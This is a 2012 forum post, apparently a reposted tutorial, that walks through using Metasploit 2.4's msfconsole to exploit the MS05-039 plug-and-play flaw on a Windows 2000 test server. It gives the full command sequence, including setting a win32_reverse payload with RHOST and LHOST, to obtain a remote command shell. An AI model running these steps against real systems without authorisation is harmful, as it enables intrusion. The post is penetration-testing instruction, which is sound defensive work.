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 Real World Security Testing

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The Joker
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PostSubject: Real World Security Testing   Sat Aug 18, 2012 7:56 am

The Perl-based Metasploit was designed to be a robust exploit development system. It just so happens that you can use it to run previously developed exploits against your own systems. You can use its security testing features to see if your systems vulnerable to penetration and how they react when specific payloads are sent their way.
Outside of common Web application tests such as SQL injection and input tampering which are not supported, Metasploit has exploit code for a wide range of vulnerabilities in standalone applications, Web servers, operating systems, and more — 100 exploits and 75 payloads in version 2.4 to be exact. Version 2.5 was just released which, according the Metasploit site, includes bug fixes, cosmetic changes, and 32 more exploits! Even with over 100 exploits to choose from, obviously this isn’t enough to exploit every possible vulnerability in every penetration testing scenario you come across. But then again, the framework was built so you can write your own if you’re so inclined.



In this installment, I’ll outline how to use Metasploit‘s built-in exploits and payloads in a real-world testing scenario. Be forewarned that it’s possible to create undesired results with this tool when performing your tests such as crashing or leaving production systems in an unstable state. As with any ethical hacking venture, proceed with caution and have a contingency plan in the event something goes awry. Please don’t take this lightly.
How to use Metasploit commands
Before jumping into the specific steps to execute this exploit, there are some common msfconsole commands you should know about:

help (or ‘?’) – shows the available commands in msfconsole
show exploits – shows the exploits you can run (in our case here, the ms05_039_pnpexploit)
show payloads – shows the various payload options you can execute on the exploited system such as spawn a command shell, uploading programs to run, etc. (in our case here, the win32_reverse exploit)
info exploit [exploit name] – shows a description of a specific exploit name along with its various options and requirements (ex. info exploit ms05_039_pnp shows information on that specific attack)
info payload [payload name] – shows a description of a specific payload name along with its various options and requirements (ex. info payload win32_reverse shows information on spawning a command shell)
use [exploit name] – instructs msfconsole to enter into a specific exploit’s environment (ex. use ms05_039_pnp will bring up the command prompt ms05_039_pnp > for this specific exploit
show options – shows the various parameters for the specific exploit you’re working with
show payloads – shows the payloads compatible with the specific exploit you’re working with
set PAYLOAD – allows you to set the specific payload for your exploit (in this example,set PAYLOAD win32_reverse)
show targets – shows the available target OSs and applications that can be exploited
set TARGET – allows you to select your specific target OS/application (in this example, I’ll use set TARGET 0 to for all English versions of Windows 2000)
set RHOST – allows you to set your target host’s IP address (in this example, set RHOST 10.0.0.200)
set LHOST – allows you to set the local host’s IP address for the reverse communications needed to open the reverse command shell (in this example, set LHOST 10.0.0.201)
back – allows you to exit the current exploit environment you’ve loaded and go back to the main msfconsole prompt

How to use Metasploit: Real-world exploit
Now that I’ve described the basic commands you’ll need, let’s take a look at some specific steps and screen shots required to carry out a real-world exploit.
My test target in this example is a Windows 2000 Server system that has the MS05-039 plug and play vulnerability (CVE-2005-1983) that was exploited by the Zotob worm. This hole — which Metasploit happens to have an exploit for — allows arbitrary code execution including shell (command prompt) access to the system. I know my target system has this vulnerability because I discovered the problem with the vulnerability assessment tool QualysGuard. This is purely a part of an ethical hacking methodology, but it’s not required. You can blindly test your systems — or, even better — Metasploit can do some of the legwork for you with its “check” function to see if a system is vulnerable before exploiting it. More on this below. My testing system is a Windows XP SP2 system running the Metasploit Framework version 2.4 I downloaded and installed. I’ll use Metasploit’s most commonly used msfconsole interface to demonstrate this attack.
Metasploit how-to: Step 1
I load msfconsole (via Start/Programs/Metasploit Framework/MSFConsole) and its command prompt comes up:
Note: At this point you can enter show exploits to see which exploits are available for your target system.
Metasploit how-to: Step 2
I enter use ms05_039_pnp to run the specific exploit which I know the system is vulnerable, and it loads up that specific exploit’s environment prompt (hence the ms05_039_pnp > prompt):
Metasploit how-to: Step 3
I then enter show payloads to determine which payloads can be sent via this exploit:
Metasploit how-to: Step 4
I decide to have the exploit open up a reverse command shell, so I enter set PAYLOAD win32_reverse. I then enter show targets to determine which operating systems and applications are supported. In this case, I’ll set my target to the option that supports versions of Windows 2000 Service Pack 0 (the first version of Windows 2000) thru Service Pack 4 by entering set TARGET 0:
Metasploit how-to: Step 5
I then enter show options to determine the non-optional exploit and payload parameters that don’t have defaults and, therefore, must be set. In this case, it’s the RHOST and LHOST parameters which can be set via set RHOST 10.0.0.200 and set LHOST 10.0.0.201:
Metasploit how-to: Step 6
I enter show options one final time to make sure everything is set correctly and then entercheck to confirm that my target system is indeed vulnerable to the ms05_039_pnp vulnerability.
Metasploit how-to: Step 7
Finally, I enter exploit to run the exploit and send the payload to my target system — and voila — the connection is established and I have a command prompt on the remote system! Penetration testing at its finest:
You can imagine what could happen at this point if a malicious hacker compromised your system in this way. That’s why it’s so important to “hack” your own systems first so you can find and plug the holes before the bad guys exploit them.
Using Metasploit: There’s more to come
This exploit is just one example of what can be done using Metasploit during penetration testing. The good thing is that outside of the specific exploit and payload I used, most of the commands and techniques in this example can apply directly to other Metasploit-supported exploits.
Once you’re used to how Metasploit operates, you’ll be glad to know that it contains several advanced features. You can save your “set” options, log your actions, and even define how each payload will clean up after itself once it’s done running. The neat thing about Metasploit is that it’s so powerful yet so easy to use. The msfconsole is very intuitive and help is always just a command away.
I encourage you to play around with Metasploit in a test environment to see for yourself what it can do. It’s an enlightening proof of concept tool to say the least. If you stay plugged into the Metasploit Project’s Web site, you can stay abreast of the latest framework and exploit releases. Apparently, a new and improved version of Metasploit (version 3) written in the Ruby programming language is due out soon, so be on the lookout for it as well.
It pleases me that we’ve got such advanced tools like Metasploit at our disposal for the betterment of information security – especially for the low, low price of $0 in this case. These types of exploit tools will certainly play a vital role in the future of improving the overall quality of software, so the more you know about them the better. With a quick Metasploit download, easy install, and a few minutes familiarizing yourself with its interface, the future is all yours.

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